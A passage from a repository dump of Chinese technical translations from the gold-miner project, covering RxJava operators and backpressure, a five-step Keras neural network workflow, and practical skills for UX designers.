在所有平台上究竟运行的怎么样。\n\n最后，有什么其他的小贴士，请把它写在评论区。\n\n\n"
  },
  {
    "path": "TODO/5-not-so-obvious-things-about-rxjava.md",
    "content": "> * 原文地址：[5 Not So Obvious Things About RxJava](https://medium.com/@jagsaund/5-not-so-obvious-things-about-rxjava-c388bd19efbc#.kf2q0gksm)\n> * 原文作者：[Jag Saund](https://medium.com/@jagsaund)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [skyar2009](https://github.com/skyar2009)\n> * 校对者：[Danny1451](https://github.com/Danny1451), [yunshuipiao](https://github.com/yunshuipiao)\n\n![](https://cdn-images-1.medium.com/max/2000/1*0VDGLZYyQhUFBa9ZkFiHEQ.jpeg)\n\n# 震惊！RxJava 5 个不为人知的小秘密\n\n无论你是刚刚接触 RxJava，还是已经使用过一段时间，关于 RxJava 你总会有些新的知识要学。在使用 RxJava 框架过程中，我发现了 5 点不那么明显的知识，使我可以充分挖掘它的潜能。\n\n**注释** 本文引用的 APIs 是基于 **RxJava 1.2.6**\n\n### 1. 什么时候使用 map，什么时候使用 flatMap\n\n[map](http://reactivex.io/documentation/operators/map.html) 和 [flatMap](http://reactivex.io/documentation/operators/flatmap.html) 是常用的两个 ReactiveX 操作。它们往往是你最先接触的两个操作，并且很难确定使用哪个是正确的。\n\n**map** 和 **flatMap** 都是对 Observable 发出的每一个元素执行转换方法。但是，**map** 只输出一个元素，**flatMap** 输出 0 或多个元素。\n\n![](https://cdn-images-1.medium.com/max/800/1*hKc_cjAvfr4RqeMcyDbRkw.png)\n\n在上面的例子中，`map` 操作对每一个字符串执行了 `split` 方法并输出了一个包含字符串数组的元素。当你想将一个元素转换成另一个时使用 `map`。\n\n有些时候，我们执行的方法返回多个元素，并且我们希望将他们添加到同一个流中。这种情况下，`flatMap` 是一个好的选择。在上面的例子中 `flatMap` 操作将字符串数组处理后输出到了同一个序列。\n\n### 2. 避免使用 Observable.create(…) 创建 Observable\n\n有些时候你需要将同步或异步的 API 转成响应式的 API。使用 [Observable.create](http://reactivex.io/documentation/operators/create.html) 看起来是个极具诱惑性的选择，但它有如下要求：\n\n- 当取消 Observable 订阅时需要注销回调 (否则会造成内存泄露)\n- 只有当有订阅者订阅时才能使用 onNext 或 onCompleted 发送事件\n- 使用 onError 向上游传递错误\n- 处理背压\n\n很难正确的实现以上要求，幸运的是，你可以不这么做。有一些静态工具方法可以帮你解决：\n\n**syncOnSubscribe**\n\n一个可以创建安全 `OnSubscribe<T>` 的工具，它创建的 `OnSubscribe<T>` 能够正确地处理来自订阅者的背压请求。当你需要将一个同步获取式的阻塞 API 转成响应式 API 时可以使用。\n\n```\npublic Observable<byte[]> readFile(@NonNull FileInputStream stream) {\n  final SyncOnSubscribe<FileInputStream, byte[]> fileReader = SyncOnSubscribe.createStateful(\n    () -> stream,\n    (stream, output) -> {\n      try {\n        final byte[] buffer = new byte[BUFFER_SIZE];\n        int count = stream.read(buffer);\n        if (count < 0) {\n          output.onCompleted();\n        } else {\n          output.onNext(buffer);\n        }\n      } catch (IOException error) {\n        output.onError(error);\n      }\n      return stream;\n    },\n    s -> IOUtil.closeSilently(s));\n  return Observable.create(fileReader);\n}\n```\n\n**fromCallable**\n\n一个静态工具，可以对简单的同步 API 进行封装并将之转化成响应式 API。更赞的是，`fromCallable` 也可以处理检查到的异常。\n\n```\npublic Observable<Boolean> enablePushNotifications(boolean enable) {\n  return Observable.fromCallable(() -> sharedPrefs\n    .edit()\n    .putBoolean(KEY_PUSH_NOTIFICATIONS_PREFS, enable)\n    .commit());\n}\n```\n\n**fromEmitter**\n\n一个静态工具，对异步 API 进行封装并可以管理 Observable 被取消订阅时释放的资源。不像 `fromCallable`，你可以输出多个元素。\n\n```\nimport android.bluetooth.le.BluetoothLeScanner;\nimport android.bluetooth.le.ScanCallback;\nimport android.bluetooth.le.ScanResult;\nimport android.support.annotation.NonNull;\nimport rx.Emitter;\nimport rx.Observable;\n\nimport java.util.List;\n\npublic class RxBluetoothScanner {\n    public static class ScanResultException extends RuntimeException {\n        public ScanResultException(int errorCode) {\n            super(\"Bluetooth scan failed. Error code: \" + errorCode);\n        }\n    }\n    \n    private RxBluetoothScanner() {\n    }\n\n    @NonNull\n    public static Observable<ScanResult> scan(@NonNull final BluetoothLeScanner scanner) {\n        return Observable.fromEmitter(scanResultEmitter -> {\n            final ScanCallback scanCallback = new ScanCallback() {\n                @Override\n                public void onScanResult(int callbackType, @NonNull ScanResult result) {\n                    scanResultEmitter.onNext(result);\n                }\n\n                @Override\n                public void onBatchScanResults(@NonNull List<ScanResult> results) {\n                    for (ScanResult r : results) {\n                        scanResultEmitter.onNext(r);\n                    }\n                }\n\n                @Override\n                public void onScanFailed(int errorCode) {\n                    scanResultEmitter.onError(new ScanResultException(errorCode));\n                }\n            };\n            \n            scanResultEmitter.setCancellation(() -> scanner.stopScan(scanCallback));\n            scanner.startScan(scanCallback);\n        }, Emitter.BackpressureMode.BUFFER);\n    }\n}\n```\n\n### 3. 如何处理背压\n\n有时，Observable 产生事件过快以至于下游观察者跟不上它的速度。当这种情况发生时，你往往会遇到 `MissingBackpressureException` 异常。\n\n![](https://cdn-images-1.medium.com/max/800/1*G-yJQ_ururyvMGkGRA3eAw.png)\n\nRxJava 提供了一些方法管理背压，但是具体使用哪一种需要视情况而定。\n\n**冷、热 Observable**\n\n只有当有订阅时，冷 Observable 才会发送元素。观察者订阅冷 Observable 可以控制发送事件的速度而不需要牺牲流的完整性。冷 Observable 例子有：读文件、数据库查询、网络请求以及静态迭代器转成的 Observable。\n\n热 Observable 是连续的事件流，它的发出不依赖订阅者的数量。当一个观察者订阅了 Observable，那么它将面临下面的一种情况：\n\n- 收到所有事件子集的重放\n- 收到所有事件的重放\n- 收到新的事件\n\n热 Observables 例子有：触摸事件、通知以及进度更新。\n\n由于热 Observable 发出事件的本性，我们不能控制它的速度。例如，你不能降低触摸事件发出的速度。因此，最好是使用 `BackpressureMode` 提供的流控制策略。\n\n使用一个响应式获取方法，冷 Observable 可以根据观察者的反馈降低发送速度。更多知识，请看 ReactiveX 文档的[背压与响应式获取方法](https://github.com/ReactiveX/RxJava/wiki/Backpressure).\n\n**BackpressureMode.NONE 和 BackpressureMode.ERROR**\n\n在这两种模式中，发送的事件不是背压。当被观察者的 16 元素缓冲区溢出时会抛出 `MissingBackpressureException`。\n\n![](https://cdn-images-1.medium.com/max/800/1*Wexx6Cgpqhgwr_rQnGUjIw.png)\n\n**BackpressureMode.BUFFER**\n\n在这种模式下，有一个无限的缓冲区（初始化时是 128）。过快发出的元素都会放到缓冲区中。如果缓冲区中的元素无法消耗，会持续的积累直到内存耗尽。结果是 `OutOfMemoryException` 异常。\n\n![](https://cdn-images-1.medium.com/max/800/1*7YWjJNYa1Qgzrxjdottmzg.png)\n\n**BackpressureMode.DROP**\n\n这种模式是使用固定大小为 1 的缓冲区。如果下游观察者无法处理，第一个元素会缓存下来后续的会被丢弃。当消费者可以处理下一个元素时，它收到的将是 Observable 发出的第一个元素。\n\n![](https://cdn-images-1.medium.com/max/800/1*Lc_olwX6t_KDWp1wXShXMg.png)\n\n**BackpressureMode.LATEST**\n\n这种模式与 `BackpressureMode.DROP` 类似，因为它也使用固定大小为 1 的缓冲区。然而，不是缓存第一个元素丢弃后续元素，`BackpressureMode.LATEST` 而是使用最新的元素替换缓冲区缓存的元素。当消费者可以处理下一个元素时，它收到的是 Observable 最近一次发送的元素。\n\n![](https://cdn-images-1.medium.com/max/800/1*3DRYVExZDiutRZpzaFx2xQ.png)\n\n### 4. 如何防止无意的结束流错误\n\nRxJava 通过给 Observable 序列发送 `onError` 通知不可恢复的错误，并且会结束序列。\n\n有时，你不希望结束序列。对于这种情况，RxJava 提供了几种不会结束序列的错误处理方法。\n\nRxJava 提供了许多错误处理方法，但是有时你不希望结束序列。尤其是涉及到主题时。\n\n**onErrorResumeNext**\n\n使用 [onErrorResumeNext](http://reactivex.io/RxJava/javadoc/rx/Observable.html#onErrorResumeNext%28rx.Observable%29) 可以拦截 `onError` 并返回一个 Observable。或者对错误信息添加附加信息并返回一个新的错误，或者发送给 `onNext` 一个新的事件。\n\n```\npublic Observable<SearchResult> search(@NotNull EditText searchView) {\n  return RxTextView.textChanges(searchView) // In production, share this text view observable, don't create a new one each time\n    .map(CharSequence::toString)\n    .debounce(500, TimeUnit.MILLISECONDS)   // Avoid getting spammed with key stroke changes\n    .filter(s -> s.length() > 1)            // Only interested in queries of length greater than 1\n    .observeOn(workerScheduler)             // Next set of operations will be network so switch to an IO Scheduler (or worker)\n    .switchMap(query -> searchService.query(query))   // Take the latest observable from upstream and unsubscribe from any previous subscriptions\n    .onErrorResumeNext(Observable.empty()); // <-- This will terminate upstream (ie. we will stop receiving text view changes after an error!)\n}\n```\n\n**使用 onErrorResumeNext 捕获**\n\n使用该操作会修复下游序列，但是会结束上游序列因为已经发送了 `onError` 通知。所以，如果你连接的是一个发布通知的主题，`onError` 通知会结束主题。\n\n如果你希望上游继续运行，可以在 `onErrorResumeNext` 操作中嵌套 `flatMap` 或 `switchMap` 操作。\n\n```\npublic Observable<SearchResult> search(@NotNull EditText searchView) {\n  return RxTextView.textChanges(searchView) // In production, share this text view observable, don't create a new one each time\n    .map(CharSequence::toString)\n    .debounce(500, TimeUnit.MILLISECONDS)   // Avoid getting spammed with key stroke changes\n    .filter(s -> s.length() > 1)            // Only interested in queries of length greater than 1\n    .observeOn(workerScheduler)             // Next set of operations will be network so switch to an IO Scheduler (or worker)\n    .switchMap(query -> searchService.query(query) // Take the latest observable from upstream and unsubscribe from any previous subscriptions\n               .onErrorResumeNext(Observable.empty()); // <-- This fixes the problem since the error is not seen by the upstream observable\n}\n```\n\n### 5. 如何共享你的 Observable\n\n有时你需要将 Observable 的输出共享给多个观察者。RxJava 提供了 `share` 和 `publish` 两种方式实现 Observable 发送事件的多播。\n\n**Share**\n\n`share` 允许多个观察者连接到源 Observable。下面的例子中，共享的是 Observable 发送的 `MotionEvent` 事件。然后，我们创建了另外两个 Observable 分别过滤 `DOWN` 和 `UP` 触摸事件。`DOWN` 事件我们画红圈，`UP` 事件我们画篮圈。\n\n```\npublic void touchEventHandler(@NotNull View view) {\n  final Observable<MotionEvent> motionEventObservable = RxView.touches(view).share();\n  // Capture down events\n  final Observable<MotionEvent> downEventsObservable = motionEventObservable\n    .filter(event -> event.getAction() == MotionEvent.ACTION_DOWN);\n  // Capture up events\n  final Observable<MotionEvent> upEventsObservable = motionEventObservable\n    .filter(event -> event.getAction() == MotionEvent.ACTION_UP);\n\n  // Show a red circle at the position where the down event ocurred\n  subscriptions.add(downEventsObservable.subscribe(event ->\n      view.showCircle(event.getX(), event.getY(), Color.RED)));\n  // Show a blue circle at the position where the up event ocurred\n  subscriptions.add(upEventsObservable.subscribe(event ->\n      view.showCircle(event.getX(), event.getY(), Color.BLUE)));\n}\n```\n\n然而，一旦有观察者订阅 Observable，Observable 就会开始发送事件。这样就会造成后续的订阅者会错过一个或多个触摸事件。\n\n![](https://cdn-images-1.medium.com/max/800/1*RLhTXNHt8GZxaYl1I0OVfw.gif)\n\n在这个例子中，“蓝” 观察者错过了第一个事件。有些时候这没问题，但是如果你不能接受错过任何事件，那么你需要使用 `publish` 操作。\n\n**Publish**\n\n对 Observable 执行 `publish` 操作会将值转化为 ConnectedObservable。就像打开阀门一样。下面的例子和上面一样，需要注意的是我们现在使用的是 `publish` 操作。\n\n```\npublic void touchEventHandler(@NotNull View view) {\n  final ConnectedObservable<MotionEvent> motionEventObservable = RxView.touches(view).publish();\n  // Capture down events\n  final Observable<MotionEvent> downEventsObservable = motionEventObservable\n    .filter(event -> event.getAction() == MotionEvent.ACTION_DOWN);\n  // Capture up events\n  final Observable<MotionEvent> upEventsObservable = motionEventObservable\n    .filter(event -> event.getAction() == MotionEvent.ACTION_UP);\n\n  // Show a red circle at the position where the down event ocurred\n  subscriptions.add(downEventsObservable.subscribe(event ->\n      view.showCircle(event.getX(), event.getY(), Color.RED)));\n  // Show a blue circle at the position where the up event ocurred\n  subscriptions.add(upEventsObservable.subscribe(event ->\n      view.showCircle(event.getX(), event.getY(), Color.BLUE)));\n  // Connect the source observable to begin emitting events\n  subscriptions.add(motionEventObservable.connect());\n}\n```\n\n一旦必要的 Observables 订阅了源，你需要执行对源 ConnectedObservable 执行 `connect` 来开始发送事件。\n\n![](https://cdn-images-1.medium.com/max/800/1*ORD0JlGH_FIk3oRb64gvEQ.gif)\n\n注意，一旦对源调用了 `connect` 方法，相同事件序列会分别发送给 “绿” 和 “蓝” 观察者。\n"
  },
  {
    "path": "TODO/5-step-life-cycle-neural-network-models-keras.md",
    "content": "\n> * 原文地址：[5 Step Life-Cycle for Neural Network Models in Keras](https://machinelearningmastery.com/5-step-life-cycle-neural-network-models-keras/)\n> * 原文作者：[Jason Brownlee](https://machinelearningmastery.com/author/jasonb/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/5-step-life-cycle-neural-network-models-keras.md](https://github.com/xitu/gold-miner/blob/master/TODO/5-step-life-cycle-neural-network-models-keras.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[CACppuccino](https://github.com/CACppuccino)\n\n# Keras 中构建神经网络的 5 个步骤\n\n使用 Keras 创建、评价深度神经网络非常的便捷，不过你需要严格地遵循几个步骤来构建模型。\n\n在本文中我们将一步步地探索在 Keras 中创建、训练、评价深度神经网络，并了解如何使用训练好的模型进行预测。\n\n在阅读完本文后你将了解：\n\n* 如何在 Keras 中定义、编译、训练以及评价一个深度神经网络。\n* 如何选择、使用默认的模型解决回归、分类预测问题。\n* 如何使用 Keras 开发并运行你的第一个多层感知机网络。\n\n* **2017 年 3 月更新**：将示例更新至 Keras 2.0.2 / TensorFlow 1.0.1 / Theano 0.9.0。\n\n![Keras 中构建神经网络的 5 个步骤](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2016/07/Deep-Learning-Neural-Network-Life-Cycle-in-Keras.jpg)\n\n题图版权由 [Martin Stitchener](https://www.flickr.com/photos/dxhawk/6842278135/) 所有。\n\n## 综述\n\n下面概括一下我们将要介绍的在 Keras 中构建神经网络模型的 5 个步骤。\n\n1. 定义网络。\n2. 编译网络。\n3. 训练网络。\n4. 评价网络。\n5. 进行预测。\n\n![Keras 中构建神经网络的 5 个步骤](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2016/07/5-Step-Life-Cycle-for-Neural-Network-Models-in-Keras.png)\n\nKeras 中构建神经网络的 5 个步骤\n\n## 想要了解更多使用 Python 进行深度学习的知识？\n\n免费订阅 2 周，收取我的邮件，探索 MLP、CNN 以及 LSTM 吧！（附带样例代码）\n\n现在点击注册还能得到免费的 PDF 版教程。\n\n[点击这里开始你的小课程吧！](https://machinelearningmastery.leadpages.co/leadbox/142d6e873f72a2%3A164f8be4f346dc/5657382461898752/)\n\n## 第一步：定义网络\n\n首先要做的就是定义你的神经网络。\n\n在 Keras 中，可以通过一系列的层来定义神经网络。这些层的容器就是 Sequential 类。（译注：序贯模型）\n\n第一步要做的就是创建 Sequential 类的实例。然后你就可以按照层的连接顺序创建你所需要的网络层了。\n\n例如，我们可以做如下两步：\n\n```\nmodel = Sequential()\nmodel.add(Dense(2))\n```\n\n此外，我们也可以通过创建一个层的数组，并将其传给 Sequential 构造器来定义模型。\n\n```\nlayers = [Dense(2)]\nmodel = Sequential(layers)\n```\n\n网络的第一层必须要定义预期输入维数。指定这个参数的方式有许多种，取决于要建造的模型种类，不过在本文的多层感知机模型中我们将通过 `input_dim` 属性来指定它。\n\n例如，我们要定义一个小型的多层感知机模型，这个模型在可见层中具有 2 个输入，在隐藏层中有 5 个神经元，在输出层中有 1 个神经元。这个模型可以定义如下：\n\n```\nmodel = Sequential()\nmodel.add(Dense(5, input_dim=2))\nmodel.add(Dense(1))\n```\n\n你可以将这个序贯模型看成一个管道，从一头喂入数据，从另一头得到预测。\n\n这种将通常互相连接的层分开，并作为单独的层加入模型是 Keras 中一个非常有用的概念，这样可以清晰地表明各层在数据从输入到输出的转换过程中起到的职责。例如，可以将用于将各个神经元中信号求和、转换的激活函数单独提取出来，并将这个 Activation 对象同层一样加入 Sequential 模型中。\n\n```\nmodel = Sequential()\nmodel.add(Dense(5, input_dim=2))\nmodel.add(Activation('relu'))\nmodel.add(Dense(1))\nmodel.add(Activation('sigmoid'))\n```\n\n输出层激活函数的选择尤为重要，它决定了预测值的格式。\n\n例如，以下是一些常用的预测建模问题类型，以及它们可以在输出层使用的结构和标准的激活函数：\n\n* **回归问题**：使用线性的激活函数 “linear”，并使用与与输出数量相匹配的神经元数量。\n* **二分类问题**：使用逻辑激活函数 “sigmoid”，在输出层仅设一个神经元。\n* **多分类问题**：使用 Softmax 激活函数 “softmax”；假如你使用的是 one-hot 编码的输出格式的话，那么每个输出对应一个神经元。\n\n## 第二步：编译网络\n\n当我们定义好网络之后，必须要对它进行编译。\n\n编译是一个高效的步骤。它会将我们定义的层序列通过一系列高效的矩阵转换，根据 Keras 的配置转换成能在 GPU 或 CPU 上执行的格式。\n\n你可以将编译过程看成是对你网络的预计算。\n\n无论是要使用优化器方案进行训练，还是从保存的文件中加载一组预训练权重，只要是在定义模型之后都需要编译，因为编译步骤会将你的网络转换为适用于你的硬件的高效结构。此外，进行预测也是如此。\n\n编译步骤需要专门针对你的网络的训练设定一些参数，设定训练网络使用的优化算法 以及用于评价网络通过优化算法最小化结果的损失函数尤为重要。\n\n下面的例子对定义好的用于回归问题的模型进行编译时，指定了随机梯度下降（sgd）优化算法，以及均方差（mse）算是函数。\n\n```\nmodel.compile(optimizer='sgd', loss='mse')\n```\n预测建模问题的种类也会限制可以使用的损失函数类型。\n\n例如，下面是几种不同的预测建模类型对应的标准损失函数：\n\n* **回归问题**：均方差误差 “_mse_”。\n* **二分类问题**：对数损失（也称为交叉熵）“_binary_crossentropy_”。\n* **多分类问题**：多类对数损失 “_categorical_crossentropy_”。\n\n你可以查阅 [Keras 支持的损失函数](http://keras.io/objectives/)。\n\n最常用的优化算法是随机梯度下降，不过 Keras 也支持[其它的一些优化算法](http://keras.io/optimizers/)。\n\n以下几种优化算法可能是最常用的优化算法，因为它们的性能一般都很好：\n\n* **随机梯度下降** “_sgd_” 需要对学习率以及动量参数进行调参。\n* **ADAM** “_adam_” 需要对学习率进行调参。\n* **RMSprop** “_rmsprop_” 需要对学习率进行调参。\n\n最后，你还可以指定在训练模型过程中除了损失函数值之外的特定指标。一般对于分类问题来说，最常收集的指标就是准确率。需要收集的指标由设定数组中的名称决定。\n\n例如：\n\n```\nmodel.compile(optimizer='sgd', loss='mse', metrics=['accuracy'])\n```\n\n## 第三步：训练网络\n\n在网络编译完成后，就能对它进行训练了。这个过程也可以看成是调整权重以拟合训练数据集。\n\n训练网络需要制定训练数据，包括输入矩阵 X 以及相对应的输出 y。\n\n在此步骤，将使用反向传播算法对网络进行训练，并使用在编译时制定的优化算法以及损失函数来进行优化。\n\n反向传播算法需要指定训练的 Epoch（回合数、历元数）、对数据集的 exposure 数。\n\n每个 epoch 都可以被划分成多组数据输入输出对，它们也称为 batch（批次大小）。batch 设定的数字将会定义在每个 epoch 中更新权重之前输入输出对的数量。这种做法也是一种优化效率的方式，可以确保不会同时加载过多的输入输出对到内存（显存）中。\n\n以下是一个最简单的训练网络的例子：\n\n```\nmodel.compile(optimizer='sgd', loss='mse', metrics=['accuracy'])\n```\n\n在训练网络之后，会返回一个历史对象（History oject），其中包括了模型在训练中各项性能的摘要（包括每轮的损失函数值及在编译时制定收集的指标）。\n\n## 第四步：评价网络\n\n在网络训练完毕之后，就可以对其进行评价。\n\n可以使用训练集的数据对网络进行评价，但这种做法得到的指标对于将网络进行预测并没有什么用。因为在训练时网络已经“看”到了这些数据。\n\n因此我们可以使用之前没有“看”到的额外数据集来评估网络性能。这将提供网络在未来对没有见过的数据进行预测的性能时的估测。\n\n评价模型将会评价所有测试集中的输入输出对的损失值，以及在模型编译时指定的其它指标（例如分类准确率）。本步骤将返回一组评价指标结果。\n\n例如，一个在编译时使用准确率作为指标的模型可以在新数据集上进行评价，如下所示：\n\n```\nloss, accuracy = model.evaluate(X, y)\n```\n\n## 第五步：进行预测\n\n最后，如果我们对训练后的模型的性能满意的话，就能用它来对新的数据做预测了。\n\n这一步非常简单，直接在模型上调用 predict() 函数，传入一组新的输入即可。\n\n例如：\n\n```\npredictions = model.predict(x)\n```\n\n预测值将以网络输出层定义的格式返回。\n\n在回归问题中，这些由线性激活函数得到的预测值可能直接就符合问题需要的格式。\n\n对于二分类问题，预测值可能是一组概率值，这些概率说明了数据分到第一类的可能性。可以通过四舍五入（K.round）将这些概率值转换成 0 与 1。\n\n而对于多分类问题，得到的结果可能也是一组概率值（假设输出变量用的是 one-hot 编码方式），因此它还需要用 [argmax 函数](http://docs.scipy.org/doc/numpy/reference/generated/numpy.argmax.html)将这些概率数组转换为所需要的单一类输出。\n\n## End-to-End Worked Example\n\n让我们用一个小例子将以上的所有内容结合起来。\n\n我们将以 Pima Indians 糖尿病发病二分类问题为例。你可以在 [UCI 机器学习仓库](https://archive.ics.uci.edu/ml/datasets/Pima+Indians+Diabetes)中下载此数据集。\n\n该问题有 8 个输入变量，需要输出 0 或 1 的分类值。\n\n我们将构建一个包含 8 个输入的可见层、12 个神经元的隐藏层、rectifier 激活函数、1 个神经元的输出层、sigmoid 激活函数的多层感知机神经网络。\n\n我们将对网络进行 100 epoch 次训练，batch 大小设为 10，使用 ADAM 优化算法以及对数损失函数。\n\n在训练之后，我们使用训练数据对模型进行评价，然后使用训练数据对模型进行单独的预测。这么做是为了方便起见，一般来说我们都会使用额外的测试数据集进行评价，用新的数据进行预测。\n\n完整代码如下：\n\n```\n# Keras 多层感知机神经网络样例\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nimport numpy\n# 加载数据\ndataset = numpy.loadtxt(\"pima-indians-diabetes.csv\", delimiter=\",\")\nX = dataset[:,0:8]\nY = dataset[:,8]\n# 1. 定义网络\nmodel = Sequential()\nmodel.add(Dense(12, input_dim=8, activation='relu'))\nmodel.add(Dense(1, activation='sigmoid'))\n# 2. 编译网络\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n# 3. 训练网络\nhistory = model.fit(X, Y, epochs=100, batch_size=10)\n# 4. 评价网络\nloss, accuracy = model.evaluate(X, Y)\nprint(\"\\nLoss: %.2f, Accuracy: %.2f%%\" % (loss, accuracy*100))\n# 5. 进行预测\nprobabilities = model.predict(X)\npredictions = [float(round(x)) for x in probabilities]\naccuracy = numpy.mean(predictions == Y)\nprint(\"Prediction Accuracy: %.2f%%\" % (accuracy*100))\n```\n\n运行样例，会得到以下输出：\n\n```\n...\n768/768 [==============================] - 0s - loss: 0.5219 - acc: 0.7591\nEpoch 99/100\n768/768 [==============================] - 0s - loss: 0.5250 - acc: 0.7474\nEpoch 100/100\n768/768 [==============================] - 0s - loss: 0.5416 - acc: 0.7331\n32/768 [>.............................] - ETA: 0s\nLoss: 0.51, Accuracy: 74.87%\nPrediction Accuracy: 74.87%\n```\n\n## 总结\n\n在本文中，我们探索了使用 Keras 库进行深度学习时构建神经网络的 5 个步骤。\n\n此外，你还学到了：\n\n* 如何在 Keras 中定义、编译、训练以及评价一个深度神经网络。\n* 如何选择、使用默认的模型解决回归、分类预测问题。\n* 如何使用 Keras 开发并运行你的第一个多层感知机网络。\n\n你对 Keras 的神经网络模型还有别的问题吗？或者你对本文还有什么建议吗？请在评论中留言，我会尽力回答。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/6-practical-skills-for-ux-designers.md",
    "content": "> * 原文地址：[6 Practical Skills for UX Designers](https://uxdesign.cc/6-practical-skills-for-ux-designers-22c852d6c576#.vjeb02dwq)\n* 原文作者：[Joanna Ngai](https://uxdesign.cc/@ngai.yt)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Kulbear](https://kulbear.github.io/)\n* 校对者：[owenlyn](https://github.com/owenlyn), [shixinzhang](https://github.com/shixinzhang)\n\n# 给 UX 设计师的 6 个超实用技巧指南\n\n![](http://ac-Myg6wSTV.clouddn.com/2cc6a114bae9326ef2b0.png)\n\n#### 一些关于怎么变革产品、服务和流程的开发方式的想法\n\n![](http://ac-Myg6wSTV.clouddn.com/66ff18b264d2c507aebe.png)\n\n我们都同意[中高级设计师和初级设计师处理问题的方法有着显著区别](https://medium.com/the-year-of-the-looking-glass/junior-designers-vs-senior-designers-fbe483d3b51e#.4a2tc78vd)，到底是什么东西使我们能区分开新人和久经沙场的老设计师们呢？\n\n接下来是一些在你从事设计师的这条漫长旅途上需要磨砺的一些实用技能。\n\n### 1. 从长远的角度看你的设计方案\n\n如我[之前](https://blog.prototypr.io/essential-lessons-on-ux-18f96933e885#.mjgjp0osb)所提及的，设计师们需要站在一定高度上观察、理解复杂的问题，避免过早被细节困扰。\n\n> 我的一位导师提过，设计师们做的不仅仅是引导用户去点击一个按钮或是完成一个小任务。用户体验设计师必须从长远角度看待设计问题，并拥有一个**站在\"10000 英尺以上高度” 的思维方式**。\n\n> 也就是需要在用户交互的这个系统中考虑以前的想法，态度，竞争对手和其他工具。\n\n在你设计的时候，要从全局考虑用户所处的环境，而不是考虑某个特定的情况；避免出现不顾及你设计内容的上下文状态，横冲直撞的设计。\n\n### 2. 专注于核心问题（Issue）\n\n专注于核心问题的能力是设计师成功解决困难问题的保证。\n\n老练的用户体验设计师即使在遇到未解决的问题（大型的或抽象的）也可以轻松的完成整个项目。\n\n他们可以建立一些假设，根据自己最初的想法收集一些数据从而将口头上的想法通过设计和提炼转换为可见的概念。\n\n![](http://ac-Myg6wSTV.clouddn.com/0178730cb78f19188ad0.jpeg)\n\n### 3. 以人为本\n\n及时对用户关注点的反馈提问。\n\n世界那么大，你得去看看。走到外面去多观察，理解并明确的将以用户为中心的设计理念应用到设计中，这是对于设计师是十分重要的。\n\n你要问自己这些问题：现在的问题是什么？我的目标用户是谁？我们为什么要解决这个问题？他们的目标是什么？\n\n所有的这些功夫都不会白费——在最终交付产品的时候这些都会成为产品的核心价值。\n\n![](http://ac-Myg6wSTV.clouddn.com/a81a5f7c1d87b447e8a1.jpeg)\n\n### 4. 用设计思维影响（我个人觉得引导更好）你的同事\n\n优秀的用户体验设计师往往也是沟通的专家——无论是从口头上（为设计或非设计人员讲述故事、阐述概念等等）或是从视觉上（略图，草稿，模拟图）。\n\n他们能在避免不必要的争论的同时将自己的要点阐述清楚，给大家呈现新鲜的观点（灵感）。\n\n![](http://ac-Myg6wSTV.clouddn.com/8c47d6b213139f3b9299.jpeg)\n\n![](http://ac-Myg6wSTV.clouddn.com/757f7956c7472be3245d.jpeg)\n\n### 5. 不断观察与学习\n\n设计是一个快速更迭的领域。你要随着科技快速增长的脚步持续学习新事物，使自己成长，让自己保持在潮流的前端。\n\n- [Seth 的博客](http://sethgodin.typepad.com/) — *一些有趣的商业 idea*\n- [Creative Mornings](https://creativemornings.com/) — *一些来自一个富有创造力的社区的早餐读物*\n- [LukeW](http://www.lukew.com/ff/) — *Web 的实用和美工设计策略*\n- [24 个最佳的用户体验设计学习去处](https://uxdesign.cc/learning-as-a-designer-9c1edcc989ae#.b4y792xhx)\n- [2016 年最佳用户体验设计](https://blog.prototypr.io/best-of-ux-links-of-2016-eb2f44a2c9c0#.w0fl1cq76)\n\n#### 持续学习、成长的思维是需要终生培养的。\n\n### 6. 勇气（决心）\n\n![](http://ac-Myg6wSTV.clouddn.com/f3a09e7bfde081d96716.png)\n\nAngela Lee Duckworth\n\n> 决心是长远目标的激情与持之以恒的源头。它是拥有着毅力。它和你的未来紧密相关，日复一日，直至数年，而非一周一月的功劳。它能实现你对未来的宏愿。它不是百米冲刺跑，而是一场生活中漫长的马拉松。\n\n> —* Angela Lee Duckworth, TED 演讲者, Grit: The power of passion and perseverance* \n\n尽管所谓决心看起来和设计毫无关联，但我相信这是具有创新思维的人最实际的特点。\n\n决心使你可以迈过失败。它的动力并非来自于燃烧你的激情，而是你的刻苦与努力。\n\n![](http://ac-Myg6wSTV.clouddn.com/86448993741a25056617.jpeg)\n\nJi lee — Words As Image\n\n![](http://ac-Myg6wSTV.clouddn.com/3ed1526bbd427508ad81.png)\n\nJi lee — Words As Image\n\n对于设计师们来说，这看起来像是习惯或是一些[辅助项目](http://pleaseenjoy.com/projects/personal/bubble-project/)，或是超越基本要求的探索。这是对未来前景的乐观思考。\n\n#### 对我来说，最有价值的技能就是从失败中学习。\n\n—\n\n*感谢您的阅读，如果想浏览更多我的作品，请参考 [*design work*](http://www.cargocollective.com/joannan) 。*\n"
  },
  {
    "path": "TODO/8-key-react-component-decisions.md",
